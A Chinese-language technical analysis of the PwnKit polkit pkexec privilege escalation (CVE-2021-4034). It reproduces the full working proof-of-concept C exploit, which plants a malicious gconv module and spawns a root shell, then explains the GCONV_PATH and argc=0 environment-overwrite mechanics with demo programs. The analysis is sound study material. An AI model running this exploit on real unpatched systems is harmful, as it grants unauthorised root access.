研究了一下前段時間的Polkit提權漏洞,裡面有很多以前不知道的技巧。漏洞很好用,通殺CENTOS、UBUNTU各版本。
主要是分析這個POC觸發原理。POC如下:
/* * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu> * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shell = "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env); }
這個POC大致思路是這樣:
1、通過向execve傳遞環境變數引數,最終是為了改變GCONV_PATH(如何改變看分析三);
2、通過pkexec中主函式對引數的處理,由於argv和envp相鄰棧空間,通過溢位修改環境變數envp;
3、藉助pkexec中的g_printerr函式,以編碼轉換為目的,執行對應連結庫.so中的函式得到執行許可權(看分析一);
一、先分析幾個和該漏洞相關的重點,分析GCONV_PATH環境變數在提權中的作用:
通過網上幾篇php disable_functions bypass的文章,瞭解php的iconv函式(編碼轉換函式)實際是呼叫glibc中的函式iconv_open()。觸發了iconv_open函式會執行:
1、根據GCONV_PATH環境變數,找到gconv-modules配置檔案;
2、根據gconv-modules配置檔案,可以找到需要轉換編碼對應的.so檔案;
3、呼叫.so檔案中的gconv()和gconv_init()函式;
所以只要改變GCONV_PATH的變數,然後把執行語句放入.so中的gconv_init()函式,通過編碼轉換函式iconv就可以得到執行。在本次提權漏洞中pkexec中呼叫了glibc的g_printerr函式。g_printerr函式用來輸出錯誤資訊,但是如果環境變數CHARSET不是utf-8,g_printerr()函式就會呼叫iconv_open(),將編碼轉換成CHARSET設定的編碼,通過在GCONV_PATH的gconv-modules找到對應編碼的.so路徑,來執行編碼函式實現編碼。
演示一下這一部分:
呼叫glibc的g_printerr函式。生成可執行檔案printerr_
#include <stdio.h> #include <stdlib.h> #include <glib.h> int main(int argc, char *argv[]) { g_printerr("xx"); return 0; }
在/root/pwnkit目錄生成pwnkit.so
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv() {} void gconv_init() { printf("%s","i am so"); }
在/root/pwnkit目錄生成gconv-modules
module UTF-8// PWNKIT// /root/pwnkit/pwnkit 2
修改環境變數
export GCONV_PATH=/root/pwnkit
export CHARSET=PWNKIT
執行
[root@vpanda-01 ~]# ./printerr_ GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” xxi am soYou have mail in /var/spool/mail/root
可以看到printerr_在執行g_printerr函式的時候,因為環境變數的改變,成功執行了pwnkit.so中的gconv_init函式。
二、分析execve接收的引數:
閱讀manpage,execve命令可以在程式中執行新的另一個程式,並帶入引數和環境變數。
execve(const char *path, char *const argv[], char *const envp[]);
比較普通執行程式和通過execve執行在引數上的區別。
新建普通程式
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[],char *envp[]) { printf("argc=%d\n",argc); printf("argv[0]=%s\n",argv[0]); printf("argv[1]=%s\n",argv[1]); printf("argv[2]=%s\n",argv[2]); printf("argv[3]=%s\n",argv[3]); printf("argv[4]=%s\n",argv[4]); int i; for(i=0;i<7;i++){ printf("envp[%d]=%s\n",i,envp[i]); } printf("\n"); return 0; }
輸出結果如下:
argc=1 argv[0]=./a.out argv[1]=(null) argv[2]=HOSTNAME=vpanda-01 argv[3]=TERM=xterm argv[4]=SHELL=pwnkit envp[0]=HOSTNAME=vpanda-01 envp[1]=TERM=xterm envp[2]=SHELL=pwnkit envp[3]=HISTSIZE=1000 envp[4]=SSH_CLIENT=1.1.1.1 34540 22 envp[5]=OLDPWD=/root/pwnkit envp[6]=SSH_TTY=/dev/pts/4
當不跟引數的時候,argc只有程式名本身1,環境變數在argv指標往後延可以繼續讀取。
使用execve呼叫後,這裡帶入引數(char*[]){NULL},以及envp環境變數
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[],char *envp[]) { char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("./a.out", (char*[]){NULL}, envp); return 0; }
輸出結果
[root@vpanda-01 ~]# ./testrun argc=0 argv[0]=(null) argv[1]=HOSTNAME=vpanda-01 argv[2]=TERM=xterm argv[3]=SHELL=pwnkit argv[4]=HISTSIZE=1000 envp[0]=HOSTNAME=vpanda-01 envp[1]=TERM=xterm envp[2]=SHELL=pwnkit envp[3]=HISTSIZE=1000 envp[4]=SSH_CLIENT=1.1.1.1 34540 22 envp[5]=OLDPWD=/root/pwnkit envp[6]=SSH_TTY=/dev/pts/4
替換為引數env後
[root@vpanda-01 ~]# ./testrun argc=0 argv[0]=(null) argv[1]=pwnkit argv[2]=PATH=GCONV_PATH=. argv[3]=CHARSET=PWNKIT argv[4]=SHELL=pwnkit envp[0]=pwnkit envp[1]=PATH=GCONV_PATH=. envp[2]=CHARSET=PWNKIT envp[3]=SHELL=pwnkit envp[4]=(null)
此時,由於帶入引數問題,argc為0,將造成pkexec漏洞觸發,見分析三。
三、分析pkexec本身:
分析原始碼pkexec.c的main函式
因為execve帶入,argc等於0,所以n=1以後n<argc的條件不滿足
path=argv[1]=pwnkit
滿足這個條件,執行g_find_program_in_path(path)
通過環境變數PATH得到絕對路徑,argv[1] = GCONV_PATH=./pwnkit
因為argv[1]的指標就是enpv[0],所以在程式中環境變數的第一個變數被改變為GCONV_PATH=./pwnkit。
所以通過execve傳遞null引數,然後藉助pkexec本身可以修改程式當前環境變數,比如在這裡修改環境變數GCONV_PATH。
最後通過g_printerr函式與當前的非UTF-8環境,造成gconv_init執行,造成/bin/bash程式執行,恢復環境變數得到root shell。